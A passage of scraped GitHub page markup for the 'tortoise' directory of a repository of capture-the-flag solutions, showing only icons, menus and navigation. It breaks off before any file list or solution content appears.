16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> BigB00st </span> <span>/</span> ctf-solutions
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/BigB00st/ctf-solutions/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":252509468,"originating_url":"https://github.com/BigB00st/ctf-solutions/tree/master/sharky20/misc/tortoise","user_id":null}}" data-hydro-click-hmac="6e84d0aeea71b0360bdcb1f30d974bb3ca40901e120c87e994ba275f225c9c7d"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/BigB00st/ctf-solutions/refs" cache-key="v0:1585845383.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QmlnQjAwc3QvY3RmLXNvbHV0aW9ucw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/BigB00st/ctf-solutions/refs" cache-key="v0:1585845383.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QmlnQjAwc3QvY3RmLXNvbHV0aW9ucw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>sharky20</span></span><span>/</span><span><span>misc</span></span><span>/</span>tortoise<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>sharky20</span></span><span>/</span><span><span>misc</span></span><span>/</span>tortoise<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/BigB00st/ctf-solutions/tree-commit/7c1b43f086e22c70e3f52420504fe4307b842f5c/sharky20/misc/tortoise" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 